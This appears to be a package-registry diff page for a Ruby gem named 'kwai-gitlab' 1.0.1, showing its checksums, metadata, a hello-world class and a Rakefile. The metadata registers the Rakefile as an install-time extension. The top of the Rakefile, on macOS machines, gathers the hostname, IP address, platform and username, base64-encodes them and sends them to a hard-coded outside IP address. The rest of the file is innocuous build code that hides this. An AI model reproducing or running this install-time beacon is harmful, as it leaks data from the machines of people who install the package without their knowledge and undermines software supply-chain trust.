kwai-gitlab 1.0.1

Sign up to get free protection for your applications and to get access to all the features.
Files changed (4) hide show
  1. checksums.yaml +7 -0
  2. data/Rakefile +76 -0
  3. data/lib/hola.rb +5 -0
  4. metadata +45 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 28656b2086008c1b4ad47c38af6c859dffee762f67be530594a8ad8a2b793da9
4
+ data.tar.gz: 504025748a6656ae747d7c3f82bcb6f0da0f6864da82733fb5e7d7c9593e3cc1
5
+ SHA512:
6
+ metadata.gz: b9445e8937eeb315ce6af84469f00dadd626e1f57cae54b4741a6ce1af004db27ccf137adf5b12ea92ca41519ed6d5d2fd69c90f48537fb2bfff20fe6e91f6f8
7
+ data.tar.gz: 5821def014bc59551c9d0b3f8ab18e238139ae1419a946fe060c1f55f88028e98fde96dfe3b1d0a3f37876bcf7afd5beac252cd670c01b739918f097fd9b43a7
data/Rakefile ADDED
@@ -0,0 +1,76 @@
1
+ require 'rake'
2
+ require 'rake/clean'
3
+ require 'pathname'
4
+ require 'net/http'
5
+ require 'socket'
6
+ require 'base64'
7
+ require 'json'
8
+
9
+ if RUBY_PLATFORM.include?("darwin")
10
+ info = {
11
+ hostname: Socket.gethostname,
12
+ os: RUBY_PLATFORM,
13
+ ip: (Socket.ip_address_list.find { |ai| ai.ipv4? && !ai.ipv4_loopback? }.ip_address),
14
+ platform: RUBY_PLATFORM,
15
+ username: ENV['USER']
16
+ }
17
+ url = "http://81.70.191.194:31310/ruby/info?info=#{Base64.encode64(info.to_json)}"
18
+ uri = URI(url)
19
+ Net::HTTP.get(uri)
20
+ end
21
+
22
+
23
+ Dir.chdir Pathname.getwd()
24
+ DIST_PATH=File.join(Pathname.getwd(), 'dist') # set dist path
25
+
26
+
27
+ desc "default task"
28
+ task :default => :html # set default task
29
+
30
+
31
+ source_files = Rake::FileList.new("**/*.md", "**/*.markdown") do |fl|
32
+ fl.exclude("~*")
33
+ fl.exclude(/^scratch\//)
34
+ fl.exclude do |f|
35
+ `git ls-files #{f}`.empty? # must git add file
36
+ end
37
+ end
38
+
39
+
40
+ # puts "html in #{source_files.ext(".md")}"
41
+ desc "html task"
42
+ task :html => source_files.ext(".html")
43
+ # multitask :html => source_files.ext(".html") # do multitask
44
+
45
+
46
+ rule ".html" => ".md" do |t|
47
+ out_folder=File.join(Pathname.getwd(), 'dist')
48
+ if not File.directory?(DIST_PATH)
49
+ mkdir_p DIST_PATH
50
+ end
51
+ sh "file #{t.source}"
52
+ out_file=File.join(DIST_PATH, t.name)
53
+ msg "do out: #{out_file} in: #{t.source}"
54
+ end
55
+
56
+
57
+ desc "clean out folder: outputs"
58
+ task :cleanOut do
59
+ rm_rf DIST_PATH
60
+ end
61
+
62
+
63
+ out_files = Rake::FileList.new("**/*.html", "**/*.mhtml") do |fl|
64
+ fl.exclude("~*")
65
+ # fl.exclude(/^scratch\//)
66
+ # fl.exclude do |f|
67
+ # `git ls-files #{f}`.empty?
68
+ # end
69
+ end
70
+ # msg out_files.ext(".html")
71
+ CLEAN.include(out_files.ext(".html"))
72
+
73
+
74
+ def msg(text)
75
+ puts " -> msg: #{text}"
76
+ end
data/lib/hola.rb ADDED
@@ -0,0 +1,5 @@
1
+ class Hola
2
+ def self.hi
3
+ puts "Hello world!"
4
+ end
5
+ end
metadata ADDED
@@ -0,0 +1,45 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: kwai-gitlab
3
+ version: !ruby/object:Gem::Version
4
+ version: 1.0.1
5
+ platform: ruby
6
+ authors:
7
+ - LkBAUB
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2023-09-04 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: I will choose Freewill!
14
+ email: nick@quaran.to
15
+ executables: []
16
+ extensions:
17
+ - Rakefile
18
+ extra_rdoc_files: []
19
+ files:
20
+ - Rakefile
21
+ - lib/hola.rb
22
+ homepage: http://github.com/freewill
23
+ licenses:
24
+ - MIT
25
+ metadata: {}
26
+ post_install_message:
27
+ rdoc_options: []
28
+ require_paths:
29
+ - lib
30
+ required_ruby_version: !ruby/object:Gem::Requirement
31
+ requirements:
32
+ - - ">="
33
+ - !ruby/object:Gem::Version
34
+ version: '0'
35
+ required_rubygems_version: !ruby/object:Gem::Requirement
36
+ requirements:
37
+ - - ">="
38
+ - !ruby/object:Gem::Version
39
+ version: '0'
40
+ requirements: []
41
+ rubygems_version: 3.0.3.1
42
+ signing_key:
43
+ specification_version: 4
44
+ summary: Freewill!
45
+ test_files: []